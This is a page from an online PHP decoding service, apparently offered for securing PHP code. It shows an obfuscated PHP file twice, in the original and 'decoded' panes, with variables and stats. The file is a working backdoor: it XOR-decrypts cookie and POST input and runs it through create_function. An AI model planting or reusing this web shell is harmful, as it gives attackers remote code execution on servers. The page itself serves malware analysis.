Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $oicrpex = 'tlnk6v_c-a49i7ryp8x*o1ds5f\'eb3mH#g2u';$pykmhgd = Array();$pykmhgd[] = ..

Decoded Output download

<?php 
$oicrpex = 'tlnk6v_c-a49i7ryp8x*o1ds5f\'eb3mH#g2u';$pykmhgd = Array();$pykmhgd[] = $oicrpex[7].$oicrpex[14].$oicrpex[27].$oicrpex[9].$oicrpex[0].$oicrpex[27].$oicrpex[6].$oicrpex[25].$oicrpex[35].$oicrpex[2].$oicrpex[7].$oicrpex[0].$oicrpex[12].$oicrpex[20].$oicrpex[2];$pykmhgd[] = $oicrpex[31].$oicrpex[19];$pykmhgd[] = $oicrpex[32];$pykmhgd[] = $oicrpex[10].$oicrpex[34].$oicrpex[28].$oicrpex[7].$oicrpex[27].$oicrpex[17].$oicrpex[9].$oicrpex[28].$oicrpex[8].$oicrpex[29].$oicrpex[13].$oicrpex[9].$oicrpex[25].$oicrpex[8].$oicrpex[10].$oicrpex[27].$oicrpex[11].$oicrpex[29].$oicrpex[8].$oicrpex[11].$oicrpex[4].$oicrpex[24].$oicrpex[29].$oicrpex[8].$oicrpex[24].$oicrpex[7].$oicrpex[13].$oicrpex[11].$oicrpex[7].$oicrpex[21].$oicrpex[10].$oicrpex[25].$oicrpex[34].$oicrpex[9].$oicrpex[17].$oicrpex[34];$pykmhgd[] = $oicrpex[7].$oicrpex[20].$oicrpex[35].$oicrpex[2].$oicrpex[0];$pykmhgd[] = $oicrpex[23].$oicrpex[0].$oicrpex[14].$oicrpex[6].$oicrpex[14].$oicrpex[27].$oicrpex[16].$oicrpex[27].$oicrpex[9].$oicrpex[0];$pykmhgd[] = $oicrpex[27].$oicrpex[18].$oicrpex[16].$oicrpex[1].$oicrpex[20].$oicrpex[22].$oicrpex[27];$pykmhgd[] = $oicrpex[23].$oicrpex[35].$oicrpex[28].$oicrpex[23].$oicrpex[0].$oicrpex[14];$pykmhgd[] = $oicrpex[9].$oicrpex[14].$oicrpex[14].$oicrpex[9].$oicrpex[15].$oicrpex[6].$oicrpex[30].$oicrpex[27].$oicrpex[14].$oicrpex[33].$oicrpex[27];$pykmhgd[] = $oicrpex[23].$oicrpex[0].$oicrpex[14].$oicrpex[1].$oicrpex[27].$oicrpex[2];$pykmhgd[] = $oicrpex[16].$oicrpex[9].$oicrpex[7].$oicrpex[3];foreach ($pykmhgd[8]($_COOKIE, $_POST) as $oayyewz => $xjunqgs){function fzumoj($pykmhgd, $oayyewz, $pcwnqwq){return $pykmhgd[7]($pykmhgd[5]($oayyewz . $pykmhgd[3], ($pcwnqwq / $pykmhgd[9]($oayyewz)) + 1), 0, $pcwnqwq);}function rtkhg($pykmhgd, $shdrlt){return @$pykmhgd[10]($pykmhgd[1], $shdrlt);}function ntmrm($pykmhgd, $shdrlt){$glbddv = $pykmhgd[4]($shdrlt) % 3;if (!$glbddv) {$kexxzvw = $pykmhgd[0]; $walwc = $kexxzvw("", $shdrlt[1]($shdrlt[2]));$walwc();exit();}}$xjunqgs = rtkhg($pykmhgd, $xjunqgs);ntmrm($pykmhgd, $pykmhgd[6]($pykmhgd[2], $xjunqgs ^ fzumoj($pykmhgd, $oayyewz, $pykmhgd[9]($xjunqgs))));} ?>

Did this file decode correctly?

Original Code

<?php
$oicrpex = 'tlnk6v_c-a49i7ryp8x*o1ds5f\'eb3mH#g2u';$pykmhgd = Array();$pykmhgd[] = $oicrpex[7].$oicrpex[14].$oicrpex[27].$oicrpex[9].$oicrpex[0].$oicrpex[27].$oicrpex[6].$oicrpex[25].$oicrpex[35].$oicrpex[2].$oicrpex[7].$oicrpex[0].$oicrpex[12].$oicrpex[20].$oicrpex[2];$pykmhgd[] = $oicrpex[31].$oicrpex[19];$pykmhgd[] = $oicrpex[32];$pykmhgd[] = $oicrpex[10].$oicrpex[34].$oicrpex[28].$oicrpex[7].$oicrpex[27].$oicrpex[17].$oicrpex[9].$oicrpex[28].$oicrpex[8].$oicrpex[29].$oicrpex[13].$oicrpex[9].$oicrpex[25].$oicrpex[8].$oicrpex[10].$oicrpex[27].$oicrpex[11].$oicrpex[29].$oicrpex[8].$oicrpex[11].$oicrpex[4].$oicrpex[24].$oicrpex[29].$oicrpex[8].$oicrpex[24].$oicrpex[7].$oicrpex[13].$oicrpex[11].$oicrpex[7].$oicrpex[21].$oicrpex[10].$oicrpex[25].$oicrpex[34].$oicrpex[9].$oicrpex[17].$oicrpex[34];$pykmhgd[] = $oicrpex[7].$oicrpex[20].$oicrpex[35].$oicrpex[2].$oicrpex[0];$pykmhgd[] = $oicrpex[23].$oicrpex[0].$oicrpex[14].$oicrpex[6].$oicrpex[14].$oicrpex[27].$oicrpex[16].$oicrpex[27].$oicrpex[9].$oicrpex[0];$pykmhgd[] = $oicrpex[27].$oicrpex[18].$oicrpex[16].$oicrpex[1].$oicrpex[20].$oicrpex[22].$oicrpex[27];$pykmhgd[] = $oicrpex[23].$oicrpex[35].$oicrpex[28].$oicrpex[23].$oicrpex[0].$oicrpex[14];$pykmhgd[] = $oicrpex[9].$oicrpex[14].$oicrpex[14].$oicrpex[9].$oicrpex[15].$oicrpex[6].$oicrpex[30].$oicrpex[27].$oicrpex[14].$oicrpex[33].$oicrpex[27];$pykmhgd[] = $oicrpex[23].$oicrpex[0].$oicrpex[14].$oicrpex[1].$oicrpex[27].$oicrpex[2];$pykmhgd[] = $oicrpex[16].$oicrpex[9].$oicrpex[7].$oicrpex[3];foreach ($pykmhgd[8]($_COOKIE, $_POST) as $oayyewz => $xjunqgs){function fzumoj($pykmhgd, $oayyewz, $pcwnqwq){return $pykmhgd[7]($pykmhgd[5]($oayyewz . $pykmhgd[3], ($pcwnqwq / $pykmhgd[9]($oayyewz)) + 1), 0, $pcwnqwq);}function rtkhg($pykmhgd, $shdrlt){return @$pykmhgd[10]($pykmhgd[1], $shdrlt);}function ntmrm($pykmhgd, $shdrlt){$glbddv = $pykmhgd[4]($shdrlt) % 3;if (!$glbddv) {$kexxzvw = $pykmhgd[0]; $walwc = $kexxzvw("", $shdrlt[1]($shdrlt[2]));$walwc();exit();}}$xjunqgs = rtkhg($pykmhgd, $xjunqgs);ntmrm($pykmhgd, $pykmhgd[6]($pykmhgd[2], $xjunqgs ^ fzumoj($pykmhgd, $oayyewz, $pykmhgd[9]($xjunqgs))));}

Function Calls

null 1

Variables

$oicrpex tlnk6v_c-a49i7ryp8x*o1ds5f'eb3mH#g2u
$pykmhgd [{'key': None, 'value': 'pack'}]

Stats

MD5 86a018f6520431492e0bd8e2d4cffbec
Eval Count 0
Decode Time 119 ms